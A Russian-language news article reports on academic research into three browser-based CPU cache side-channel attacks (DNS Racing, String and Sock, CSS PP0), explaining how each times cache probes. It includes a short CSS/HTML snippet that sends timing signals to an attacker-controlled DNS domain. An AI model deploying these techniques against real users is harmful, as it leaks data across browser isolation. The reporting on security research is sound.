21.04.2021

Атака по извлечению данных из кэша CPU, реализуемая в web-браузере без JavaScript

Группа исследователей из нескольких американских, израильских и австралийских университетов разработала три работающих в web-браузерах атаки для извлечения информации о содержимом процессорного кэша. Один метод работает в браузерах без JavaScript, а два остальных в обход существующих методов защиты от атак по сторонним каналам, в том числе применяемых в Tor browser и DeterFox. Код для демонстрации атак, а также необходимые для атак серверные компоненты, опубликованы на GitHub.

Для анализа содержимого кэша во всех атаках используется метод Prime+Probe, подразумевающий заполнение кэша эталонным набором значений и определение изменений через измерение времени доступа к ним при повторном заполнении. Для обхода присутствующих в браузерах механизмов защиты, мешающих точному измерению времени, в двух вариантах осуществляется обращение к подконтрольному атакующему DNS- или WebSocket-серверу, на котором ведётся лог времени поступления запросов. В одном варианте фиксированное время DNS-ответа используется в качестве эталона времени.

Измерений, выполненных с привлечением внешних DNS- или WebSocket-серверов, благодаря применению системы классификации на основе машинного обучения, оказалось достаточно для предсказания значений с точностью до 98% в самом оптимальном сценарии (в среднем 80-90%). Методы атаки протестированы на различных аппаратных платформах (Intel, AMD Ryzen, Apple M1, Samsung Exynos) и показали себя как универсальные.

В первом варианте атаки «DNS Racing» используется классическая реализация метода Prime+Probe, использующая массивы JavaScript. Отличия сводятся к применению внешнего таймера на базе DNS и обработчика onerror, срабатывающего при попытке загрузки изображения с несуществующего домена. Внешний таймер позволяет осуществить атаку Prime+Probe в браузерах, ограничивающих или полностью отключающих доступ к таймерам JavaScript.

Для DNS-сервера, размещённого в той же Ethernet-сети, точность таймера оценивается примерно в 2 мс, что достаточно для проведения атаки по сторонним каналам (для сравнения точность штатного JavaScript-таймера в Tor Browser снижена до 100 мс). Для атаки контроль за DNS-сервером не требуется, так как время выполнения операции подбирается так, чтобы время ответа от DNS служило признаком более раннего завершения проверки (в зависимости от того раньше иди позже сработал обработчик onerror делается вывод о скорости выполнения проверочной операции с кэшем).

Второй метод атаки «String and Sock» нацелен на обход методов защиты, ограничивающих низкоуровневое использование массивов в JavaScript. Вместо массивов в «String and Sock» задействованы операции с очень большими строками, размер которых выбирается так, чтобы переменная покрывала собой весь кэш LLC (Last level cache). Далее при помощи функции indexOf() в строке ищется небольшая подстрока, которая изначально отсутствует в исходной строке, т.е. операция поиска приводит к перебору всей строки. Так как размер строки соответствует размеру LLC-кэша, то сканирование позволяет выполнить операцию проверки кэша без манипуляции с массивами. Для измерения задержек вместо DNS задействовано обращение к подконтрольному атакующему WebSocket-серверу — перед началом и после завершения операции поиска в строке отправляются запросы, на основе которых на сервере вычисляется задержка, используемая для анализа содержимого кэша.

Третий вариант атаки «CSS PP0» реализован через HTML и CSS, и может работать в браузерах с отключённым JavaScript. Метод напоминает «String and Sock», но не привязан к JavaScript. В ходе атаки формируется набор CSS-селекторов, осуществляющих поиск по маске. Исходная большая строка, заполняющая кэш, задаётся через создание тега div с очень большим именем класса. Внутри размещается набор других div-ов со своими идентификаторами. Для каждого из этих вложенных div-ов определяется свой стиль с селектором, осуществляющем поиск подстроки. При отрисовке страницы браузер вначале пытается обработать внутренние div-ы, что приводит к выполнению операции поиска в большой строке. Поиск выполняется по заведомо отсутствующей маске и приводит к перебору всей строки, после чего срабатывает условие «not» и осуществляется попытка загрузки фонового изображения, ссылающегося на случайные домены:

 <style> #pp:not([class*='xjtoxg']) #s0 {background-image: url("https://qdlvibmr.helldomain.oy.ne.ro");} #pp:not([class*='gzstxf']) #s1 {background-image: url("https://licfsdju.helldomain.oy.ne.ro");} ... </style> <div id="pp" class="строка, размером около мегабайта"> <div id="s0">X</div> <div id="s1">X</div> ... </div> 

Поддомены обслуживаются на DNS-сервере атакующего, который может измерять задержки в получении запросов. На все запросы DNS-сервер выдаёт NXDOMAIN и ведёт лог точного времени обращений. В результате обработки набора div-ов на DNS-сервер атакующего поступает серия запросов, задержки между которыми коррелируют с результатом проверки содержимого кэша.

Источник.